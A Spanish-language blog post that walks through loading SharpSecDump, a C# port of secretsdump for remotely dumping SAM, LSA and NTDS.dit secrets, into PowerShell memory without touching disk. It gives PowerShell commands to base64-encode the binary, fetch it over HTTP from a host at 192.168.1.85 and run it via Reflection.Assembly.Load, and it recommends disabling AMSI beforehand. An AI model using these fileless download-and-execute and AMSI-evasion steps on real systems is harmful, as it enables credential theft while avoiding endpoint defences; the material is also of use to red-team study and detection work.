2 mar 2021

Cargando binarios en PowerShell

¡Buenas a todos!

Hoy os traigo una forma un tanto peculiar de cargar binarios en PowerShell y que espero que os guste y os sea útil. Antes de nada, me gustaría aclarar que esta forma de cargar binarios (o DLLs) no es nueva y se conoce desde hace tiempo. No obstante, os la comparto ya que me parece bastante curiosa y útil :)

Worth a read @Jean_Maes_1994 :)

Para realizar este post vamos a elegir un repositorio de una herramienta escrita en C# que nos guste para llevar a cabo su carga en PowerShell, yo en mi caso he elegido SharpSecDump. SharpSecDump es un port escrito en .NET de la herramienta secretsdump.py de impacket, utilizada para volcar los secretos SAM, LSA o NTDS.dit de forma remota. Una vez elegida nuestra herramienta, debemos conocer que herramientas vamos a utilizar para crear el binario y para cargarlo en memoria.

Edición del binario

Solo existe un requisito para poder cargar el binario en memoria, y es que este mismo tenga la clase y el método principal que vamos a utilizar con el atributo public, para que pueda ser accedido sin ningún problema. Dado que SharpSecDump no cuenta con esto, vamos a modificar ligeramente el código (2 o 4 líneas de nada...) para hacerlo "compatible" con nuestro método.

Una vez identificado el namespace y la clase y el método que queremos utilizar nos aseguramos de que cuentan con el nombre que queremos y que sean públicos. Quedaría algo tal que así:

Nota: Si se quiere cambiar el namespace debe hacerse en todo el proyecto.

Ya que no queremos que nuestra PowerShell se cierre al acabar de ejecutar nuestro dump, es importante tener en cuenta las llamadas que se realizan al cerrar el binario, ya que no queremos perder nuestro proceso de PowerShell dentro del sistema :(. Por tanto, buscamos aquellas llamadas que vayan a cerrar el proceso, como podría ser System.Environment.Exit, y las eliminamos o sustituimos por otra instrucción que evite que el proceso se cierre. Yo en este caso he optado por eliminarla directamente.

Una vez modificado nuestro binario solo queda compilarlo y tenerlo a buen recaudo para cargarlo posteriormente en memoria y utilizarlo, dado que el objetivo es que no haya nada en disco, cargaremos este binario desde un recurso externo, para ello lo transformaremos a base64 sin aplicarle ningún tipo de ofuscación o compresión.

Conversión del binario a base64

Realizamos una codificación de los bytes del binario a base64 para dejarlo como un recurso externo que podemos consultar a través de una petición web. Para ello realizamos la codificación con y cargamos el string en un fichero txt:

$string = [Convert]::ToBase64String[IO.File]::ReadAllBytes("PATH\SharpFlu.exe"))

Carga en memoria

Para cargar el binario en memoria vamos a hacer uso de la API de .NET, en concreto, de la clase System.Reflection.Assembly y sus métodos Load y LoadFile, aunque solo cubriremos el uso de Load en este post. Haciendo uso de esta llamada, suponemos que AMSI no nos bloqueará en ningún momento y que realizará la carga correctamente, es por ello que recomiendo ejecutar una consola de PoweShell que tenga AMSI deshabilitado. Para ello podemos hacer uso de AMSI.fail como ya vimos, o hacer uso de la librería DLL que he referenciado más arriba :)

Cargamos el binario en memoria:

$string = $(Invoke-WebRequest http://192.168.1.85/bin.txt -UseBasicParsing).Content;
[System.Reflection.Assembly]::Load([System.Convert]::FromBase64String($string)); 

Finalmente una vez hemos cargado nuestro binario en memoria, vamos a hacer uso de el:

Por último, me gustaría agredecer a @ShitSecure por resolver algunas de mis dudas acerca de ofuscación y sustitución de las instrucciones de exit. Ya que como os dije al principio del post, este método de carga de binarios no es nuevo e incluso él mismo ha puesto a disposición de la comunidad un repositorio con diversos binarios precompilados. Aunque claro, no vamos a cargar estos así como así en nuestro ordenador... ¿Verdad :)?

Espero que os haya gustado y cualquier duda que tengáis, sugerencia o aporte es más que bien recibida :P

No hay comentarios:

Publicar un comentario